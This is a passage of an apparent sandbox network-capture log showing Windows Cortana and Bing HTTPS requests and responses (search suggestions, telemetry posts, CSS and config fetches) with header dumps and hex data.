SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:40 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 9218 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b40c2a40059f038098cba54bf6 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:40 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:40 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260659.4830efad
2024-01-26 09:17:40 UTC	9218	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 74 65 70 61 64 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=notepad\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.16	49749	173.222.162.7	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	869	OUT	GET /rb/1c/cir3,ortl,cc,nc/n7LMSoHYYIBGa1VPMlnTzxBvlfA.css?bu=B6UCSJMCe11drgI&or=w HTTP/1.1 Accept: / Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: r.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E
2024-01-26 09:17:40 UTC	1209	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Server: Kestrel Access-Control-Allow-Headers: * Access-Control-Allow-Origin: * Last-Modified: Sat, 14 Aug 2010 22:23:56 GMT X-EventID: 6591d6f41d2f435ea5d3b71ea2c0d363 UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-AS-InstrumentationOptions: AppServerLoggingMaster=1 X-AS-MACHINENAME: MWHEEEAP0024F99 X-AS-SuppressSetCookie: 1 X-XSS-Protection: 0 cross-origin-resource-policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.5} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingrms"}]} Cache-Control: public, max-age=226216 Expires: Mon, 29 Jan 2024 00:07:56 GMT Date: Fri, 26 Jan 2024 09:17:40 GMT Content-Length: 5901 Connection: close Alt-Svc: h3=":443"; ma=93600 Akamai-GRN: 0.07a6dc17.1706260660.406dcc3f Timing-Allow-Origin: *
2024-01-26 09:17:40 UTC	5901	IN	Data Raw: 2e 62 5f 73 65 61 72 63 68 62 6f 78 53 75 62 6d 69 74 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 72 70 2f 34 69 5a 49 7a 5f 6f 41 4c 31 79 70 37 64 69 5f 36 44 39 65 32 65 6e 58 69 4d 4d 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 2d 34 32 70 78 20 30 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 33 32 30 70 78 20 33 38 70 78 7d 2e 62 5f 6c 6f 67 6f 7b 77 69 64 74 68 3a 32 32 70 78 3b 68 65 69 67 68 74 3a 33 37 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 64 69 72 65 63 74 69 6f 6e 3a 6c 74 72 7d 2e 62 5f 6c 6f 67 6f 3a 61 66 74 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 30 3b 64 Data Ascii: .b_searchboxSubmit{background:url(/rp/4iZIz_oAL1yp7di_6D9e2enXiMM.png) no-repeat -42px 0;background-size:320px 38px}.b_logo{width:22px;height:37px;position:relative;display:inline-block;overflow:hidden;direction:ltr}.b_logo:after{position:absolute;top:0;d

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.16	49748	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:39 UTC	2391	OUT	GET /AS/API/WindowsCortanaPane/V2/Suggestions?qry=notepad&setlang=en-CH&cc=CH&nohs=1&qfm=1&cp=7&cvid=693df9a8be554bffb57e511bdf55aece&ig=79790c2131664f4c8a9426e43c0ed1af HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-ClientFeatures: FontV22,LightAnswers,PreviewPaneAvailable,RevStore X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Connection: Keep-Alive Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=en&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:40 UTC	1065	IN	HTTP/1.1 200 OK Content-Length: 9197 Content-Type: application/json; charset=utf-8 Cache-Control: no-cache, no-store, must-revalidate Expires: -1 Pragma: no-cache X-EventID: 65b378b492564dfc9f601d592004d293 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 26 Jan 2024 09:17:40 GMT Connection: close Set-Cookie: _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; domain=.bing.com; expires=Wed, 19-Feb-2025 09:17:40 GMT; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260660.4830f059
2024-01-26 09:17:40 UTC	9197	IN	Data Raw: 7b 22 52 65 73 6f 75 72 63 65 73 22 3a 7b 22 53 74 79 6c 65 73 22 3a 7b 22 43 73 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 43 73 73 48 65 61 64 4f 76 65 72 72 69 64 65 22 3a 7b 7d 7d 2c 22 53 63 72 69 70 74 73 22 3a 7b 22 4a 73 48 65 61 64 54 6f 70 6d 6f 73 74 22 3a 7b 7d 2c 22 4a 73 48 65 61 64 4e 6f 72 6d 61 6c 22 3a 7b 7d 2c 22 4a 73 45 6e 64 4f 66 43 68 75 6e 6b 22 3a 7b 7d 2c 22 4a 73 42 65 66 6f 72 65 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 43 6f 6e 74 65 6e 74 22 3a 7b 7d 2c 22 4a 73 41 66 74 65 72 4f 6e 4c 6f 61 64 22 3a 7b 7d 7d 7d 2c 22 53 75 67 67 65 73 74 69 6f 6e 73 22 3a 5b 7b 22 41 74 74 72 69 62 75 74 65 73 22 3a 7b 22 75 72 6c 22 3a 22 2f 73 65 61 72 63 68 3f 71 3d 6e 6f 74 65 70 61 64 5c 75 30 30 32 36 66 69 Data Ascii: {"Resources":{"Styles":{"CssHeadNormal":{},"CssHeadOverride":{}},"Scripts":{"JsHeadTopmost":{},"JsHeadNormal":{},"JsEndOfChunk":{},"JsBeforeContent":{},"JsAfterContent":{},"JsAfterOnLoad":{}}},"Suggestions":[{"Attributes":{"url":"/search?q=notepad\u0026fi

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.16	49750	23.1.237.25	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:40 UTC	2285	OUT	POST /threshold/xls.aspx HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Content-type: text/xml X-Agent-DeviceId: 01000A4109009A83 X-BM-CBT: 1696585056 X-BM-DateFormat: dd/MM/yyyy X-BM-DeviceDimensions: 784x984 X-BM-DeviceDimensionsLogical: 784x984 X-BM-DeviceScale: 100 X-BM-DTZ: 120 X-BM-Market: CH X-BM-Theme: 000000;0078d7 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E,FX:2C89765 X-Device-ClientSession: 8B0BADD9680C444587B50653454AB647 X-Device-isOptin: false X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-Device-OSSKU: 48 X-Device-Touch: false X-DeviceID: 01000A4109009A83 X-MSEdge-ExternalExp: bfbscope1003t3,bfbwsbpphmemqcf,bfbwsbrs0830cf,d-thshld78,d-thshldspcl40,disfbcthas2_1,fliptrat6,spofglclicksh-c2,wsbqfasmsall_c,wsbref-c X-MSEdge-ExternalExpType: JointCoord X-PositionerType: Desktop X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate X-Search-TimeZone: Bias=-60; DaylightBias=-60; TimeZoneKeyName=W. Europe Standard Time X-UserAgeClass: Unknown Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: www.bing.com Content-Length: 51156 Connection: Keep-Alive Cache-Control: no-cache Cookie: MUID=5047E5942BB2460EA35B53CCF78DDB3D; _SS=SID=1F9344FA7B5C6D050D8557587A606C51&CPID=1696585056799&AC=1&CPH=074c06b2&CBV=39996767; _EDGE_S=SID=1F9344FA7B5C6D050D8557587A606C51&mkt=de-ch; SRCHUID=V=2&GUID=1365D4FE3DA84D19A46408EFC15FC823&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20231006; SRCHHPGUSR=SRCHLANG=de&HV=1706260657&IPMH=9aa1009e&IPMID=1696585056799&LUT=1696585056224; CortanaAppUID=646BA1FF24F806DFED4199E1E0EFF63E; MUIDB=5047E5942BB2460EA35B53CCF78DDB3D
2024-01-26 09:17:40 UTC	16355	OUT	Data Raw: 3c 43 6c 69 65 6e 74 49 6e 73 74 52 65 71 75 65 73 74 3e 3c 43 49 44 3e 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 3c 2f 43 49 44 3e 3c 45 76 65 6e 74 73 3e 3c 45 3e 3c 54 3e 45 76 65 6e 74 2e 43 50 54 3c 2f 54 3e 3c 49 47 3e 36 34 38 31 41 46 33 32 31 31 46 30 34 33 44 41 39 30 30 39 46 46 31 30 39 32 45 43 36 45 36 46 3c 2f 49 47 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 70 70 22 3a 7b 22 53 22 3a 22 4c 22 2c 22 46 43 22 3a 36 35 2c 22 42 43 22 3a 36 35 2c 22 48 22 Data Ascii: <ClientInstRequest><CID>5047E5942BB2460EA35B53CCF78DDB3D</CID><Events><E><T>Event.CPT</T><IG>6481AF3211F043DA9009FF1092EC6E6F</IG><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","pp":{"S":"L","FC":65,"BC":65,"H"
2024-01-26 09:17:40 UTC	16355	OUT	Data Raw: 22 51 22 3a 22 43 6f 6d 6d 61 6e 64 20 50 72 6f 6d 70 74 22 2c 22 56 61 6c 22 3a 22 54 4f 50 4c 22 2c 22 48 6f 22 3a 32 2c 22 47 72 22 3a 33 36 2c 22 44 65 76 69 63 65 53 69 67 6e 61 6c 73 22 3a 7b 22 52 61 6e 6b 22 3a 30 2c 22 50 48 69 74 73 22 3a 22 53 79 73 74 65 6d 2e 50 61 72 73 69 6e 67 4e 61 6d 65 22 2c 22 49 64 22 3a 22 7b 31 41 43 31 34 45 37 37 2d 30 32 45 37 2d 34 45 35 44 2d 42 37 34 34 2d 32 45 42 31 41 45 35 31 39 38 42 37 7d 5c 5c 63 6d 64 2e 65 78 65 22 2c 22 44 4e 61 6d 65 22 3a 22 43 6f 6d 6d 61 6e 64 20 50 72 6f 6d 70 74 22 2c 22 4c 41 44 22 3a 22 32 30 32 33 2d 31 30 2d 30 36 54 30 39 3a 32 35 3a 32 36 2e 38 37 35 5a 22 2c 22 41 70 70 4c 6e 63 68 22 3a 32 2c 22 41 72 67 73 22 3a 30 2c 22 4d 44 4e 22 3a 30 2c 22 45 78 74 22 3a 22 2e 65 Data Ascii: "Q":"Command Prompt","Val":"TOPL","Ho":2,"Gr":36,"DeviceSignals":{"Rank":0,"PHits":"System.ParsingName","Id":"{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\\cmd.exe","DName":"Command Prompt","LAD":"2023-10-06T09:25:26.875Z","AppLnch":2,"Args":0,"MDN":0,"Ext":".e
2024-01-26 09:17:40 UTC	16355	OUT	Data Raw: 2c 22 41 70 70 4c 6e 63 68 22 3a 30 2c 22 41 72 67 73 22 3a 30 2c 22 4d 44 4e 22 3a 31 2c 22 45 78 74 22 3a 22 22 7d 7d 5d 7d 5d 5d 5d 3e 3c 2f 44 53 3e 3c 44 3e 3c 21 5b 43 44 41 54 41 5b 7b 22 43 75 72 55 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 41 53 2f 41 50 49 2f 57 69 6e 64 6f 77 73 43 6f 72 74 61 6e 61 50 61 6e 65 2f 56 32 2f 49 6e 69 74 22 2c 22 50 69 76 6f 74 22 3a 22 51 46 22 2c 22 45 6e 72 69 63 68 65 64 43 6c 69 65 6e 74 49 6e 66 6f 22 3a 7b 22 4d 55 49 44 22 3a 22 35 30 34 37 45 35 39 34 32 42 42 32 34 36 30 45 41 33 35 42 35 33 43 43 46 37 38 44 44 42 33 44 22 2c 22 41 43 56 65 72 22 3a 22 30 37 34 63 30 36 62 32 22 2c 22 46 44 50 61 72 74 6e 65 72 45 6e 74 72 79 22 3a 22 61 75 74 6f 73 75 67 67 65 73 74 Data Ascii: ,"AppLnch":0,"Args":0,"MDN":1,"Ext":""}}]}]...</DS><D><![CDATA[{"CurUrl":"https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init","Pivot":"QF","EnrichedClientInfo":{"MUID":"5047E5942BB2460EA35B53CCF78DDB3D","ACVer":"074c06b2","FDPartnerEntry":"autosuggest
2024-01-26 09:17:40 UTC	2091	OUT	Data Raw: 74 73 22 3a 22 46 58 3a 31 31 37 42 39 38 37 32 2c 46 58 3a 31 31 39 45 32 36 41 44 2c 46 58 3a 31 31 43 30 45 39 36 43 2c 46 58 3a 31 31 43 36 45 35 43 32 2c 46 58 3a 31 31 43 37 45 42 36 41 2c 46 58 3a 31 31 43 39 34 30 38 41 2c 46 58 3a 31 31 43 39 34 30 44 42 2c 46 58 3a 31 31 43 42 39 41 39 46 2c 46 58 3a 31 31 43 42 39 41 43 31 2c 46 58 3a 31 31 43 43 31 31 31 43 2c 46 58 3a 31 31 44 35 42 46 43 44 2c 46 58 3a 31 31 44 46 35 42 31 32 2c 46 58 3a 31 31 44 46 35 42 37 35 2c 46 58 3a 31 32 34 30 39 33 31 42 2c 46 58 3a 31 32 34 42 33 38 44 30 2c 46 58 3a 31 32 37 46 43 38 37 38 2c 46 58 3a 31 32 38 33 46 46 45 38 2c 46 58 3a 31 32 38 34 30 36 31 37 2c 46 58 3a 31 32 38 39 37 39 46 39 2c 46 58 3a 31 32 38 45 42 44 37 45 2c 46 58 3a 31 32 39 31 33 35 42 Data Ascii: ts":"FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135B
2024-01-26 09:17:40 UTC	476	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 6AB7C8613C5E4B4CA96FC5EDEE34A6FE Ref B: BY3EDGE0320 Ref C: 2024-01-26T09:17:40Z Date: Fri, 26 Jan 2024 09:17:40 GMT Connection: close Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.15ed0117.1706260660.4830f21d

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.16	49751	204.79.197.222	443

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:17:40 UTC	462	OUT	GET /conf/v2/asgw/fpconfig.min.json?monitorId=asgw HTTP/1.1 Origin: https://www.bing.com Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: / Accept-Language: en-CH Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: fp.msedge.net Connection: Keep-Alive
2024-01-26 09:17:40 UTC	427	IN	HTTP/1.1 200 OK Cache-Control: public,max-age=900 Content-Length: 17958 Content-Type: application/json; charset=utf-8 ETag: "1474684246" Access-Control-Allow-Origin: * Request-Context: appId=cid-v1:b183296d-485b-49fc-81c7-a511e61d1309 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: C91E3655CD754F82BC83F72841CBD8F6 Ref B: BL2EDGE1318 Ref C: 2024-01-26T09:17:40Z Date: Fri, 26 Jan 2024 09:17:40 GMT Connection: close
2024-01-26 09:17:40 UTC	3798	IN	Data Raw: 7b 22 73 22 3a 35 30 30 30 2c 22 6e 22 3a 33 2c 22 65 22 3a 5b 7b 22 65 22 3a 22 2a 2e 61 7a 72 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 35 30 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 2a 2e 63 6c 6f 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 32 30 30 30 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 2a 2e 63 6c 6f 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 31 30 30 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 2a 2e 6e 72 62 2e 66 6f 6f 74 70 72 69 6e 74 64 6e 73 2e 63 6f 6d 22 2c 22 77 22 3a 34 32 30 2c 22 6d 22 3a 33 7d 2c 7b 22 65 22 3a 22 61 66 64 78 74 65 73 74 2e 7a 30 31 2e 61 7a 75 72 65 66 64 2e 6e 65 74 22 2c 22 77 22 3a 35 30 30 2c 22 6d 22 3a 31 7d 2c 7b Data Ascii: {"s":5000,"n":3,"e":[{"e":".azr.footprintdns.com","w":5000,"m":128},{"e":".clo.footprintdns.com","w":2000,"m":1},{"e":".clo.footprintdns.com","w":100,"m":128},{"e":".nrb.footprintdns.com","w":420,"m":3},{"e":"afdxtest.z01.azurefd.net","w":500,"m":1},{
2024-01-26 09:17:40 UTC	4096	IN	Data Raw: 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 64 6f 68 32 31 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 64 6f 68 32 32 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 64 6f 68 32 32 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 64 73 6d 30 36 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2e 6e 65 74 6d Data Ascii: azure.com","w":3,"m":128},{"e":"doh21prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"doh22prdapp01-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"doh22prdapp02-canary-opaph.netmon.azure.com","w":3,"m":128},{"e":"dsm06prdapp02-canary.netm
2024-01-26 09:17:40 UTC	4096	IN	Data Raw: 6a 67 61 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 7d 2c 7b 22 65 22 3a 22 6a 67 61 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 6a 67 61 32 30 70 72 64 61 70 70 30 32 2d 63 61 6e 61 72 79 2d 6f 70 61 70 68 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 38 7d 2c 7b 22 65 22 3a 22 6a 68 7a 32 30 70 72 64 61 70 70 30 31 2d 63 61 6e 61 72 79 2e 6e 65 74 6d 6f 6e 2e 61 7a 75 72 65 2e 63 6f 6d 22 2c 22 77 22 3a 33 2c 22 6d 22 3a 31 32 